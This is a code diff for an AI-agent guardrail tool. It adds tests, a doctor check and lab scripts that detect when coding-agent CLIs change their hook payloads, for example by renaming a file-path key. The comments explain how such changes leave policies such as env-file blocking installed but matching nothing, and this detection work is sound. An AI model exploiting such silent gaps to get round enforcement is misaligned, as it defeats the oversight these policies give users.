2, 3]], + ["an empty object", {}], + ["clis holding a string", { clis: { goose: "broken" } }], + ["hooks holding an array", { clis: { goose: { hooks: [1, 2] } } }], + ["tools holding junk", { clis: { goose: { hooks: { PreToolUse: { tools: 5 } } } } }], + ["keys that are not strings", { clis: { goose: { hooks: { PreToolUse: { tools: { write: [1, null] } } } } } }], + ])("survives %s", (_label, input) => { + expect(() => compareContractTable(input)).not.toThrow(); + }); + + it("ignores fields it does not recognise, so a newer producer stays readable", () => { + // The same comparison runs over tables produced elsewhere by a newer build. + const table = { + schemaVersion: 99, + somethingNew: { nested: true }, + clis: { + goose: { + version: "9.9.9", + futureField: [1, 2], + hooks: { PreToolUse: { envelope: [], tools: { write: ["path", "content"] }, extra: "x" } }, + }, + }, + }; + const [goose] = compareContractTable(table); + expect(goose.version).toBe("9.9.9"); + expect(goose.findings).toEqual([]); + }); +}); + +describe("contract-compare: the requirement table cannot rot", () => { + it("only names keys the builtin policies actually read", () => { + // The table is hand-written, which is what rots. Rename a key in a policy + // and this fails, instead of the comparator quietly checking for something + // nothing reads any more. + const policies = readFileSync( + join(__dirname, "..", "..", "src", "hooks", "builtin-policies.ts"), + "utf8", + ); + const named = new Set( + Object.values(REQUIRED_TOOL_INPUT_KEYS).flatMap((reqs) => reqs.flatMap((r) => r.anyOf)), + ); + for (const key of named) { + expect({ key, readByAPolicy: policies.includes(`toolInput?.${key}`) }).toEqual({ + key, + readByAPolicy: true, + }); + } + }); + + it("covers every canonical tool our maps can produce that policies gate", () => { + // A new CLI whose map produces `Bash` must be checked for `command`. This + // fails if someone adds a gated tool to the maps and not to the table. + expect(Object.keys(REQUIRED_TOOL_INPUT_KEYS).sort()).toEqual( + ["Bash", "Edit", "Grep", "Read", "Write"].sort(), + ); + }); +}); diff --git a/__tests__/hooks/contract-pack-client.test.ts b/__tests__/hooks/contract-pack-client.test.ts new file mode 100644 index 000000000..180b0e82a --- /dev/null +++ b/__tests__/hooks/contract-pack-client.test.ts @@ -0,0 +1,166 @@ +// @vitest-environment node +/** + * The pack client, against a real socket. + * + * Every case here is a way a best-effort fetch could stop being best-effort: + * by throwing, by replacing a good cache with something worse, or by silently + * doing nothing when it was supposed to be configured. A pack is extra + * information — failing to get one must leave the machine exactly as it was. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { createServer, type Server } from "node:http"; +import { mkdtempSync, rmSync, readFileSync, writeFileSync, mkdirSync, statSync, utimesSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { refreshContractPack, readCachedPack, packUrl } from "../../src/hooks/contract-pack-client"; +import { contractPackFile } from "../../src/hooks/fp-home"; + +let home: string; +let server: Server; +let url: string; +/** What the server answers with. Reassigned per test. */ +let respond: (send: (status: number, body: string) => void) => void; + +const PACK = JSON.stringify({ + generatedAt: "2026-08-18T00:00:00.000Z", + clis: { goose: { version: "1.43.0", hooks: { PreToolUse: { envelope: [], tools: {} } } } }, +}); + +beforeEach(async () => { + home = mkdtempSync(join(tmpdir(), "fpai-pack-")); + process.env.FAILPROOFAI_HOME = home; + delete process.env.FAILPROOFAI_NO_DOWNLOAD; + + respond = (send) => send(200, PACK); + server = createServer((_req, res) => { + respond((status, body) => { + res.writeHead(status, { "content-type": "application/json" }); + res.end(body); + }); + }); + await new Promise((r) => server.listen(0, "127.0.0.1", r)); + const addr = server.address(); + url = `http://127.0.0.1:${typeof addr === "object" && addr ? addr.port : 0}/pack.json`; + process.env.FAILPROOFAI_CONTRACTS_URL = url; +}); + +afterEach(async () => { + delete process.env.FAILPROOFAI_HOME; + delete process.env.FAILPROOFAI_CONTRACTS_URL; + delete process.env.FAILPROOFAI_NO_DOWNLOAD; + await new Promise((r) => server.close(() => r())); + rmSync(home, { recursive: true, force: true }); +}); + +/** Put a cache in place and age it, so freshness logic can be exercised. */ +function seedCache(body: string, ageMs = 0): void { + mkdirSync(join(home, "contracts"), { recursive: true }); + writeFileSync(contractPackFile(), body); + if (ageMs > 0) { + const when = new Date(Date.now() - ageMs); + utimesSync(contractPackFile(), when, when); + } +} + +describe("fetching a pack", () => { + it("downloads and caches one", async () => { + const out = await refreshContractPack(); + expect(out.status).toBe("fetched"); + expect(readCachedPack()).toMatchObject({ clis: { goose: { version: "1.43.0" } } }); + }); + + it("does not refetch a cache that is still fresh", async () => { + await refreshContractPack(); + let hits = 0; + respond = (send) => { + hits += 1; + send(200, PACK); + }; + expect((await refreshContractPack()).status).toBe("fresh"); + expect(hits).toBe(0); + }); + + it("refetches when forced, and when the cache is old", async () => { + seedCache(PACK, 24 * 60 * 60 * 1000); + expect((await refreshContractPack()).status).toBe("fetched"); + expect((await refreshContractPack({ force: true })).status).toBe("fetched"); + }); +}); + +describe("what it refuses to cache", () => { + it("keeps the old pack when the server answers with an error", async () => { + seedCache(PACK, 24 * 60 * 60 * 1000); + respond = (send) => send(503, "down"); + const out = await refreshContractPack(); + expect(out.status).toBe("failed"); + // The point: a failed refresh leaves a usable pack in place. + expect(readCachedPack()).toMatchObject({ clis: { goose: {} } }); + }); + + it("keeps the old pack when the server answers with something that is not JSON", async () => { + seedCache(PACK, 24 * 60 * 60 * 1000); + respond = (send) => send(200, "a proxy login page"); + expect((await refreshContractPack()).status).toBe("failed"); + expect(readCachedPack()).toMatchObject({ clis: { goose: {} } }); + }); + + it("rejects JSON that is not a pack", async () => { + // A cache holding something that is not a pack is worse than an empty one: + // every later read pays to discover it. + respond = (send) => send(200, JSON.stringify({ hello: "world" })); + const out = await refreshContractPack(); + expect(out.status).toBe("failed"); + expect(out).toMatchObject({ reason: expect.stringContaining("not a pack") }); + expect(readCachedPack()).toBeNull(); + }); + + it("refuses a body far larger than a pack could be", async () => { + respond = (send) => send(200, JSON.stringify({ clis: {}, filler: "x".repeat(5 * 1024 * 1024) })); + expect((await refreshContractPack()).status).toBe("failed"); + expect(readCachedPack()).toBeNull(); + }); +}); + +describe("when it must do nothing at all", () => { + it("skips when no URL is configured", async () => { + // Shipping a plausible-looking default would 404 on every machine forever + // while looking configured. + delete process.env.FAILPROOFAI_CONTRACTS_URL; + expect(packUrl()).toBe(""); + const out = await refreshContractPack(); + expect(out).toMatchObject({ status: "skipped", reason: expect.stringContaining("no pack URL") }); + }); + + it("skips when downloads are disabled, without touching an existing cache", async () => { + seedCache(PACK, 24 * 60 * 60 * 1000); + process.env.FAILPROOFAI_NO_DOWNLOAD = "1"; + const before = readFileSync(contractPackFile(), "utf8"); + expect((await refreshContractPack()).status).toBe("skipped"); + expect(readFileSync(contractPackFile(), "utf8")).toBe(before); + // Disabled fetching, not disabled reading: what is already there still works. + expect(readCachedPack()).not.toBeNull(); + }); + + it("never throws, whatever the server does", async () => { + respond = (send) => send(200, ""); + await expect(refreshContractPack()).resolves.toMatchObject({ status: "failed" }); + delete process.env.FAILPROOFAI_CONTRACTS_URL; + process.env.FAILPROOFAI_CONTRACTS_URL = "http://127.0.0.1:1/nothing-listening"; + await expect(refreshContractPack({ force: true })).resolves.toMatchObject({ status: "failed" }); + }); +}); + +describe("reading the cache", () => { + it("treats an unreadable or half-written cache as no cache", () => { + seedCache("{ half-writ"); + expect(readCachedPack()).toBeNull(); + }); + + it("leaves no temp file behind after a successful write", async () => { + await refreshContractPack(); + const dir = join(home, "contracts"); + const leftovers = readFileSync(contractPackFile(), "utf8"); + expect(leftovers.length).toBeGreaterThan(0); + expect(() => statSync(join(dir, `.pack.${process.pid}.tmp`))).toThrow(); + }); +}); diff --git a/__tests__/hooks/doctor-cli.test.ts b/__tests__/hooks/doctor-cli.test.ts index 0e7c03ad1..19f745026 100644 --- a/__tests__/hooks/doctor-cli.test.ts +++ b/__tests__/hooks/doctor-cli.test.ts @@ -276,3 +276,167 @@ describe("doctor: the two collisions the sweep can create", () => { expect(new Set(paths).size).toBe(paths.length); }); }); + +describe("doctor: what the CLIs are sending", () => { + /** Write an observation table the way the warm worker would have. */ + function observe(clis: Record): void { + mkdirSync(join(home, "contracts"), { recursive: true }); + writeFileSync( + join(home, "contracts", "observed.json"), + JSON.stringify({ schemaVersion: 1, updatedAt: new Date().toISOString(), clis }), + ); + } + + const HEALTHY = { + goose: { + version: "1.43.0", + hooks: { PreToolUse: { envelope: ["event"], tools: { write: ["content", "path"] } } }, + }, + }; + + it("says nothing when there is no table, which is every fresh install", () => { + // The table only exists once a daemon-configured machine has handled a + // hook. Absent must not read as broken, and must never be why doctor fails. + const r = runDoctorCommand(["--user"]); + expect(text(r)).not.toContain("Payload translation"); + expect(r.exitCode).toBe(0); + }); + + it("stays quiet and clean for a CLI whose payloads we can still read", () => { + observe(HEALTHY); + const r = runDoctorCommand(["--user"]); + expect(text(r)).toContain("every key we read is still where we expect it"); + expect(r.exitCode).toBe(0); + }); + + it("fails the run when a key our policies read is no longer derivable", () => { + observe({ + copilot: { + version: "1.0.94", + hooks: { PreToolUse: { envelope: [], tools: { read: ["uri"] } } }, + }, + }); + const r = runDoctorCommand(["--user"]); + expect(r.exitCode).toBe(1); + expect(text(r)).toContain("block-env-files"); + // The remedy is different from every other line doctor prints, and saying + // so is what stops this reading as "--fix is broken". + expect(text(r)).toContain("they need a failproofai update"); + }); + + it("reports a suspected tool rename but does not fail the run on it", () => { + // Provable findings fail the run. This one is a heuristic — right in a lab + // that chose the prompt, wrong on a machine carrying a custom tool that + // happens to take a `path`. Shown, because a human can tell; not fatal, + // because we cannot. + observe({ + factory: { + version: "0.180.0", + hooks: { PreToolUse: { envelope: [], tools: { Run: ["command"] } } }, + }, + }); + const r = runDoctorCommand(["--user"]); + expect(text(r)).toContain("likely renamed"); + expect(r.exitCode).toBe(0); + }); + + it("does not let an unreadable table stop the config check", () => { + mkdirSync(join(home, "contracts"), { recursive: true }); + writeFileSync(join(home, "contracts", "observed.json"), "{ not json"); + const r = runDoctorCommand(["--user"]); + expect(r.exitCode).toBe(0); + expect(text(r)).not.toContain("Payload translation"); + }); + + it("carries the comparison in --json for anything consuming it", () => { + observe(HEALTHY); + const parsed = JSON.parse(text(runDoctorCommand(["--user", "--json"]))) as { + contracts: { cli: string; version?: string }[]; + }; + expect(parsed.contracts.map((c) => c.cli)).toEqual(["goose"]); + expect(parsed.contracts[0].version).toBe("1.43.0"); + }); + + it("gives the scheduled lane one line, and only when there is something to say", () => { + observe(HEALTHY); + expect(text(runDoctorCommand(["--user", "--scheduled"]))).not.toContain("payload-translation"); + observe({ + copilot: { hooks: { PreToolUse: { envelope: [], tools: { read: ["uri"] } } } }, + }); + expect(text(runDoctorCommand(["--user", "--scheduled"]))).toContain( + "payload-translation finding(s)", + ); + }); +}); + +describe("doctor: what the lab saw that this machine has not", () => { + function write(name: string, body: unknown): void { + mkdirSync(join(home, "contracts"), { recursive: true }); + writeFileSync(join(home, "contracts", name), JSON.stringify(body)); + } + + /** This machine only ever wrote files, so it has no Read shape recorded. */ + const LOCAL = { + schemaVersion: 1, + clis: { + goose: { + version: "1.43.0", + hooks: { PreToolUse: { envelope: ["event"], tools: { write: ["content", "path"] } } }, + }, + }, + }; + + it("warns about a key this machine has not exercised yet", () => { + // The whole reason the pack exists. The local table is bounded by what the + // machine happened to do; a renamed Read key is invisible here until the + // day an agent reads a file, which is the day it stops being caught. + write("observed.json", LOCAL); + write("pack.json", { + generatedAt: "2026-08-18T06:00:00Z", + clis: { + goose: { + version: "1.44.0", + hooks: { PreToolUse: { envelope: [], tools: { view: ["uri"] } } }, + }, + }, + }); + const r = runDoctorCommand(["--user"]); + expect(text(r)).toContain("Seen by the contracts lab"); + expect(text(r)).toContain("view arrives as [uri]"); + // Not exit-worthy: the lab may have driven a newer vendor version than this + // machine runs, so it is a warning about an upgrade, not a claim about now. + expect(r.exitCode).toBe(0); + }); + + it("says nothing about CLIs this machine does not use", () => { + // Twelve integrations, most people run two. Reporting the other ten is how + // the lines that matter get skipped. + write("observed.json", LOCAL); + write("pack.json", { + clis: { + devin: { version: "3000.4.0", hooks: { PreToolUse: { envelope: [], tools: { exec: ["cmdline"] } } } }, + }, + }); + expect(text(runDoctorCommand(["--user"]))).not.toContain("Seen by the contracts lab"); + }); + + it("says nothing when there is no pack, which is every machine today", () => { + write("observed.json", LOCAL); + expect(text(runDoctorCommand(["--user"]))).not.toContain("Seen by the contracts lab"); + }); + + it("is not derailed by a pack that is not a pack", () => { + write("observed.json", LOCAL); + writeFileSync(join(home, "contracts", "pack.json"), "{ truncated"); + const r = runDoctorCommand(["--user"]); + expect(r.exitCode).toBe(0); + expect(text(r)).not.toContain("Seen by the contracts lab"); + }); + + it("accepts --refresh without treating it as an unknown argument", () => { + // The async front door consumes it; the parser must still know it, or the + // scheduled lane's own flag would make doctor exit 2. + write("observed.json", LOCAL); + expect(runDoctorCommand(["--user", "--refresh"]).exitCode).toBe(0); + }); +}); diff --git a/__tests__/integration-suite/contracts-lab.test.ts b/__tests__/integration-suite/contracts-lab.test.ts new file mode 100644 index 000000000..bfe130f73 --- /dev/null +++ b/__tests__/integration-suite/contracts-lab.test.ts @@ -0,0 +1,155 @@ +// @vitest-environment node +/** + * The contracts lab's wiring, pinned. + * + * Every assertion here is about a failure that produces NO error message. The + * lab's output is a file describing twelve vendors; when it is wrong it is + * wrong quietly, and each of these is a way it could publish something + * confident and empty: + * + * - run without the daemon, and the observer records nothing at all, because + * `recordHookShape` has exactly one call site and it is in the warm worker. + * Twelve probes, an empty pack, and no error anywhere. + * - write artifacts under /repo, which the sandbox mounts READ-ONLY, and the + * copy fails into a `|| true` — same empty pack. + * - publish a pack from a run that exercised nothing, and a good file is + * overwritten with silence. + */ +import { describe, it, expect } from "vitest"; +import { readFileSync, existsSync } from "node:fs"; +import path from "node:path"; + +const SUITE = path.join(__dirname, "..", "..", "integration-suite"); +const LOCAL = path.join(SUITE, "local"); +const read = (p: string) => readFileSync(p, "utf8"); + +const probeSh = read(path.join(SUITE, "contracts-probe.sh")); +const runnerSh = read(path.join(SUITE, "contracts-runner.sh")); +const publishSh = read(path.join(SUITE, "contracts-publish.sh")); +const entrypointSh = read(path.join(SUITE, "ci-entrypoint.sh")); +const jobSh = read(path.join(LOCAL, "jobs", "contracts.sh")); +const runJobSh = read(path.join(LOCAL, "run-job.sh")); +const installSh = read(path.join(LOCAL, "install.sh")); + +describe("the lab cannot run in a configuration that records nothing", () => { + it("refuses to start without the daemon binary", () => { + // The one invariant that decides whether the whole run means anything: + // in-process evaluation calls recordHookShape from nowhere, so a run + // without failproofaid produces an empty pack and no complaint. + expect(runnerSh).toMatch(/CANARY_DAEMON_BIN:\?/); + expect(runnerSh).toContain("only the warm worker records payload shapes"); + }); + + it("mounts the daemon exactly where the probe executes it", () => { + // Same class of bug the canary already guards: a mount path and an exec + // path that drift apart fail as "daemon did not come up". + const mount = /-v "\$DBIN:(\S+):ro"/.exec(runnerSh); + expect(mount).not.toBeNull(); + expect(probeSh).toContain(mount![1]); + }); + + it("forces every observation to disk instead of trusting a flush", () => { + // Writes are throttled to once a minute and the daemon SIGKILLs the worker, + // so a whole run's observations can die unwritten. + expect(probeSh).toMatch(/FAILPROOFAI_OBSERVE_INTERVAL_MS=0/); + }); + + it("clears the previous table so a run describes only itself", () => { + // observed.json unions keys and never forgets. Without this a CLI whose + // hooks stopped firing keeps showing yesterday's events and reads healthy. + expect(probeSh).toMatch(/rm -f "\$OBSERVED"/); + }); + + it("reads each table back from exactly where the probe wrote it", () => { + // The probe writes to $HOME/contracts-out inside the container and the + // runner lifts the file out by absolute path. The two only agree because + // the sandbox image's user is `canary` with that home — an implicit + // coupling across three files, and one that fails as an empty pack rather + // than an error. + const dockerfile = read(path.join(SUITE, "Dockerfile")); + expect(dockerfile).toMatch(/useradd .*--create-home .*canary/); + expect(dockerfile).toMatch(/^USER canary/m); + expect(probeSh).toMatch(/OUT_DIR="\$\{CONTRACTS_OUT_DIR:-\$HOME\/contracts-out\}"/); + expect(runnerSh).toContain("/home/canary/contracts-out/$cli.json"); + }); + + it("keeps its artifacts off the read-only repo mount", () => { + // The sandbox mounts /repo with :ro. A default output path under it fails + // into a `|| true` and produces an empty pack. + expect(probeSh).not.toMatch(/OUT_DIR="\$\{CONTRACTS_OUT_DIR:-\$REPO_DIR/); + expect(runnerSh).toMatch(/-v "\$REPO:\/repo:ro"/); + }); +}); + +describe("one entrypoint, two runners", () => { + it("lets the entrypoint pick a runner, and only a runner it knows", () => { + // Everything above that line — build, daemon, image, CLI installs, tokens, + // env file — is identical for both. Copying it to change the last line is + // how two harnesses drift into testing different things. + expect(entrypointSh).toMatch(/RUNNER="\$\{CANARY_RUNNER:-run\.sh\}"/); + expect(entrypointSh).toMatch(/run\.sh\|contracts-runner\.sh/); + expect(entrypointSh).toMatch(/bash "\$HERE\/\$RUNNER"/); + }); + + it("asks the entrypoint for the contracts runner, with the daemon on", () => { + expect(jobSh).toMatch(/CANARY_RUNNER="contracts-runner\.sh"/); + expect(jobSh).toMatch(/CANARY_DAEMON=1/); + expect(jobSh).toContain("integration-suite/ci-entrypoint.sh"); + }); + + it("does not version-gate, unlike the canary", () => { + // The canary skips a CLI whose version has not moved because the answer + // cannot have changed. Here the artifact IS the current contract, so a + // gated run would publish entries dating from different weeks. + expect(runnerSh).not.toMatch(/CANARY_VERSION_GATED/); + expect(runnerSh).toContain("There is deliberately NO version gating"); + }); +}); + +describe("the box knows about the job", () => { + it("gives it the docker socket, because it fans out sibling containers", () => { + expect(runJobSh).toMatch(/contracts\)\s+SOCK=\(-v \/var\/run\/docker\.sock/); + }); + + it("is scheduled by default and demands the credentials it needs to reach a vendor", () => { + expect(installSh).toMatch(/ALL_JOBS="canary contracts translate docs-audit"/); + expect(installSh).toMatch(/REQUIRED_contracts="[^"]*CANARY_SLACK_WEBHOOK/); + expect(installSh).toMatch(/REQUIRED_contracts="CONTRACTS_REF/); + expect(installSh).toMatch(/AT_contracts="0 6"/); + }); + + it("does not require the publish credentials, so it installs before the repo exists", () => { + // A lab that reports to Slack but publishes nothing is a useful lab. One + // that refuses to install until a repo is created is not. + expect(installSh).not.toMatch(/REQUIRED_contracts="[^"]*CONTRACTS_TOKEN/); + expect(installSh).not.toMatch(/REQUIRED_contracts="[^"]*CONTRACTS_REPO/); + expect(jobSh).toMatch(/-n "\$\{CONTRACTS_REPO:-\}" \] && \[ -n "\$\{CONTRACTS_TOKEN:-\}"/); + }); + + it("exists as a job file, since the entrypoint resolves jobs by name", () => { + expect(existsSync(path.join(LOCAL, "jobs", "contracts.sh"))).toBe(true); + }); +}); + +describe("publishing", () => { + it("never publishes from a run that could not be trusted", () => { + // rc=2 is "nothing was exercised" or "a probe errored". Overwriting a good + // pack with that is worse than publishing nothing at all. + expect(jobSh).toMatch(/\[ "\$rc" -lt 2 \]/); + }); + + it("publishes only when the contract moved, not when the clock did", () => { + // Every pack carries a fresh generatedAt. Commit on that and the repo + // releases daily, and a release stops meaning "something moved". + expect(publishSh).toMatch(/delete o\.generatedAt/); + expect(publishSh).toContain("nothing moved"); + }); + + it("keeps the token out of everything it prints", () => { + // The token is embedded in the remote URL, so no message may echo it. + expect(publishSh).toMatch(/x-access-token:\$\{TOKEN\}/); + for (const line of publishSh.split("\n")) { + if (/^\s*(echo|printf)\b/.test(line)) expect(line).not.toContain("$TOKEN"); + } + }); +}); diff --git a/__tests__/integration-suite/contracts-pack.test.ts b/__tests__/integration-suite/contracts-pack.test.ts new file mode 100644 index 000000000..c219b1cd4 --- /dev/null +++ b/__tests__/integration-suite/contracts-pack.test.ts @@ -0,0 +1,87 @@ +// @vitest-environment node +/** + * The pack the lab publishes, pinned. + * + * `pack-sample.json` is not hand-written — it is the real output of + * `contracts-local.sh` driving a live goose 1.43.0 session. It exists so the + * consumer and the producer cannot drift apart silently: the lab lives in its + * own repo on its own release cadence, so nothing else in CI would notice if + * the file it publishes stopped being the file this build can read. + * + * The property that matters is that a pack IS an observation table. The lab + * adds `generatedAt` and a per-CLI `probe` block, and the comparator must read + * straight through them — same code path, same findings, whether the table came + * from this machine or from the lab. + */ +import { describe, it, expect } from "vitest"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import { compareContractTable } from "../../src/hooks/contract-compare"; + +const PACK = join(__dirname, "..", "fixtures", "contracts", "pack-sample.json"); +const pack = JSON.parse(readFileSync(PACK, "utf8")) as Record; + +describe("the published pack", () => { + it("is shaped like an observation table, so one parser reads both", () => { + expect(pack.clis).toBeTruthy(); + const goose = pack.clis.goose; + expect(goose.version).toBe("1.43.0"); + expect(Object.keys(goose.hooks).sort()).toEqual([ + "PostToolUse", + "PreToolUse", + "SessionEnd", + "SessionStart", + "UserPromptSubmit", + ]); + // Recorded from the vendor, not from us: goose delivers the file tools' + // path as `path`, which GOOSE_TOOL_INPUT_MAP translates. + expect(goose.hooks.PreToolUse.tools.write.sort()).toEqual(["content", "path"]); + }); + + it("carries the lab's own metadata without confusing the comparator", () => { + expect(pack.generatedAt).toEqual(expect.any(String)); + expect(pack.clis.goose.probe.verdict).toBe("OK"); + const [goose] = compareContractTable(pack); + expect(goose.cli).toBe("goose"); + expect(goose.version).toBe("1.43.0"); + expect(goose.findings).toEqual([]); + }); + + it("still parses when the lab adds fields this build has never seen", () => { + // The lab ships from its own repo and will grow fields before a client + // release knows about them. Tolerating that is the whole reason there is no + // schema version to disagree about. + const future = { + ...pack, + newTopLevel: { anything: true }, + clis: { + ...pack.clis, + goose: { ...pack.clis.goose, capturedBy: "lab-2", timings: [1, 2, 3] }, + }, + }; + const [goose] = compareContractTable(future); + expect(goose.findings).toEqual([]); + expect(goose.version).toBe("1.43.0"); + }); + + it("reports drift when a CLI in the pack sends something we cannot read", () => { + // The same pack a day after a vendor renames a key: the file still parses, + // and the finding is about the vendor rather than about the format. + const drifted = { + ...pack, + clis: { + ...pack.clis, + copilot: { + version: "1.0.94", + probe: { verdict: "OK", note: "tool ran and we were called" }, + hooks: { PreToolUse: { envelope: [], tools: { read: ["uri"] } } }, + }, + }, + }; + const findings = compareContractTable(drifted).flatMap((c) => c.findings); + expect(findings).toHaveLength(1); + expect(findings[0].cli).toBe("copilot"); + expect(findings[0].severity).toBe("high"); + expect(findings[0].missing).toEqual(["file_path", "path"]); + }); +}); diff --git a/__tests__/integration-suite/local-runner.test.ts b/__tests__/integration-suite/local-runner.test.ts index 9ee58ace8..b6429a4d9 100644 --- a/__tests__/integration-suite/local-runner.test.ts +++ b/__tests__/integration-suite/local-runner.test.ts @@ -905,8 +905,8 @@ describe("the installer pulls rather than builds", () => { }); it("schedules every job by default", () => { - // One command, three cron lines. --jobs narrows it; nothing widens it. - expect(installSh).toMatch(/ALL_JOBS="canary translate docs-audit"/); + // One command, four cron lines. --jobs narrows it; nothing widens it. + expect(installSh).toMatch(/ALL_JOBS="canary contracts translate docs-audit"/); expect(installSh).toMatch(/JOBS="\$ALL_JOBS"/); }); }); @@ -1041,7 +1041,7 @@ describe("the cron wrapper", () => { }); it("refuses an unknown job and a missing credentials file", () => { - expect(runJobSh).toMatch(/usage: \$0 canary\|translate\|docs-audit/); + expect(runJobSh).toMatch(/usage: \$0 canary\|contracts\|translate\|docs-audit/); expect(runJobSh).toMatch(/\[ -f "\$W\/secrets\.env" \] \|\|/); }); }); diff --git a/bin/failproofai.mjs b/bin/failproofai.mjs index 4c1600e89..6d6124e61 100755 --- a/bin/failproofai.mjs +++ b/bin/failproofai.mjs @@ -784,19 +784,27 @@ EXAMPLES failproofai doctor — check that this machine's hook configs are still wired up USAGE - failproofai doctor [--fix] [--json] [--user|--project] + failproofai doctor [--fix] [--json] [--refresh] [--user|--project] WHAT IT CHECKS - Whether each agent CLI's hook config still matches what this build installs. - When a vendor changes its config format, our entry stops being valid and that - CLI runs with NO enforcement — every policy, silently. This is the check for - that; it does NOT prove the vendor accepted the file, only the vendor's own - behaviour can show that. + Two things, with different remedies. + + The hook CONFIG — whether each agent CLI's config still matches what this + build installs. When a vendor changes its config format, our entry stops being + valid and that CLI runs with NO enforcement, every policy, silently. --fix + repairs that here. It does NOT prove the vendor accepted the file; only the + vendor's own behaviour can show that. + + The PAYLOADS — whether what those CLIs actually send is still something our + policies can read. A renamed key (Copilot once renamed a file path) leaves + enforcement installed and answering, while the policies that read it match + nothing. Nothing on this machine can repair that; it needs an update. OPTIONS --fix repair what drifted: back up, rewrite, verify, roll back if it did not take --json machine-readable output + --refresh fetch the contracts lab's latest pack before checking --user user-scope configs only --project project-scope configs only (uses the current directory) @@ -809,8 +817,8 @@ EXIT CODES } lastSubcommand = "doctor"; - const { runDoctorCommand } = await import("../src/hooks/doctor-cli"); - const result = runDoctorCommand(subArgs); + const { runDoctorCommandAsync } = await import("../src/hooks/doctor-cli"); + const result = await runDoctorCommandAsync(subArgs); for (const line of result.lines) { if (result.exitCode === 0) console.log(line); else console.error(line); diff --git a/integration-suite/ci-entrypoint.sh b/integration-suite/ci-entrypoint.sh index fe2d22057..6518a9e6e 100755 --- a/integration-suite/ci-entrypoint.sh +++ b/integration-suite/ci-entrypoint.sh @@ -230,7 +230,18 @@ step "assembling gateway env-file" # run.sh word-splits CANARY_CLIS into args; unquoted on purpose. It owns the # exit code (non-zero iff a hard FAIL verdict is present), which the trap # preserves. -step "running integration probes + report" +# Which runner: the canary's verdict machinery (run.sh, the default) or the +# contracts lab (contracts-runner.sh). Everything above this line — the build, +# the daemon, the sandbox image, the CLI installs, the tokens, the env file — is +# identical for both, and duplicating an hour of setup to change the last line +# is how the two drift into testing different things. +RUNNER="${CANARY_RUNNER:-run.sh}" +case "$RUNNER" in + run.sh|contracts-runner.sh) ;; + *) echo "✗ CANARY_RUNNER=\"$RUNNER\" is not a runner this entrypoint knows" >&2; exit 1 ;; +esac + +step "running integration probes + report ($RUNNER)" # shellcheck disable=SC2086 CANARY_REPO="$REPO" \ CANARY_SANDBOX="$HERE" \ @@ -243,4 +254,4 @@ CANARY_PEER_STATE="$PEER_STATE" \ CANARY_DAEMON="${CANARY_DAEMON:-0}" \ CANARY_DAEMON_DEAD="${CANARY_DAEMON_DEAD:-0}" \ CANARY_DAEMON_BIN="${CANARY_DAEMON_BIN:-}" \ - bash "$HERE/run.sh" ${CANARY_CLIS:-} + bash "$HERE/$RUNNER" ${CANARY_CLIS:-} diff --git a/integration-suite/contracts-local.sh b/integration-suite/contracts-local.sh new file mode 100755 index 000000000..4917301a6 --- /dev/null +++ b/integration-suite/contracts-local.sh @@ -0,0 +1,53 @@ +#!/usr/bin/env bash +# Run the contracts probe across every CLI on THIS machine and assemble a pack. +# +# The developer's driver. `contracts-runner.sh` is the box's — same probe, same +# packer, same verdict, but it fans out one container per CLI under +# ci-entrypoint.sh. This one just loops in-process, so a change can be tried +# against a real vendor without the image, the volume or the cron. +# +# The pack is deliberately THE SAME SHAPE as `~/.failproofai/contracts/observed.json` +# — `{clis: {: {version, hooks}}}` — because then `contract-compare.ts` +# reads a pack captured here and a table captured on a customer's machine with +# no second parser and no second set of bugs. Per-CLI probe metadata rides along +# under `probe`, which the comparator ignores; tolerating unknown fields is a +# property it is tested for, so a newer lab can add to this file without +# breaking an older client. +# +# ── The thing this must never do ───────────────────────────────────────────── +# Report a clean day when it did not test anything. A gateway that rotates model +# names, an expired key, an image missing a CLI — each yields a run where every +# probe is INCONCLUSIVE or ERROR and no vendor was actually exercised. That is +# indistinguishable from twelve healthy CLIs unless somebody checks, so it is +# checked here: a run where nothing reached OK exits non-zero and says so. +set -uo pipefail + +REPO_DIR="${CONTRACTS_REPO_DIR:-/repo}" +OUT_DIR="${CONTRACTS_OUT_DIR:-$HOME/contracts-out}" +PACK="${CONTRACTS_PACK:-$OUT_DIR/pack.json}" +PROBE="$REPO_DIR/integration-suite/contracts-probe.sh" + +# Every CLI the probe can drive. Override to run a subset. +ALL_CLIS="claude opencode goose hermes pi codex cursor copilot devin antigravity factory openclaw" +CLIS="${CONTRACTS_CLIS:-$ALL_CLIS}" + +mkdir -p "$OUT_DIR" +rm -f "$OUT_DIR"/*.json + +SUMMARY_FILE="$OUT_DIR/summary.txt" +: > "$SUMMARY_FILE" + +for cli in $CLIS; do + line="$(CONTRACTS_REPO_DIR="$REPO_DIR" CONTRACTS_OUT_DIR="$OUT_DIR" \ + bash "$PROBE" "$cli" 2>/dev/null | grep '^CONTRACTS_JSON ' | tail -1)" + # The probe's exit trap guarantees a line even when it dies, so an empty one + # means the probe could not be started at all — worth saying plainly rather + # than silently skipping the CLI. + [ -z "$line" ] && line="CONTRACTS_JSON {\"cli\":\"$cli\",\"verdict\":\"ERROR\",\"note\":\"probe produced no output\",\"events\":[]}" + echo "$line" | tee -a "$SUMMARY_FILE" +done + +# Assembly, comparison and the verdict all live in contracts-pack.mjs, shared +# with the box job so a laptop and the cron produce identical packs. +exec bun "$REPO_DIR/integration-suite/contracts-pack.mjs" \ + --in "$OUT_DIR" --summary "$SUMMARY_FILE" --out "$PACK" --repo "$REPO_DIR" diff --git a/integration-suite/contracts-pack.mjs b/integration-suite/contracts-pack.mjs new file mode 100644 index 000000000..b712c0388 --- /dev/null +++ b/integration-suite/contracts-pack.mjs @@ -0,0 +1,105 @@ +/** + * Assemble one pack from a directory of per-CLI observation tables, then say + * what it means. Run with bun (it imports the TypeScript comparator directly). + * + * bun contracts-pack.mjs --in --summary --out --repo + * + * Split out of the two drivers because the box and a laptop drive the probes + * differently — one container per CLI on the box, a plain loop locally — but + * must produce byte-identical packs and identical verdicts. Two copies of this + * logic would be two chances for the box to report something a developer cannot + * reproduce. + * + * `--summary` is a file of the probe's own `CONTRACTS_JSON {...}` lines, one per + * CLI. A CLI that produced no table still appears in the pack: "we tried and got + * nothing" is a fact about that vendor, and dropping it makes a failed run look + * like a shorter one. + */ +import { readFileSync, writeFileSync, existsSync } from "node:fs"; +import { join } from "node:path"; + +function arg(name, fallback) { + const i = process.argv.indexOf(`--${name}`); 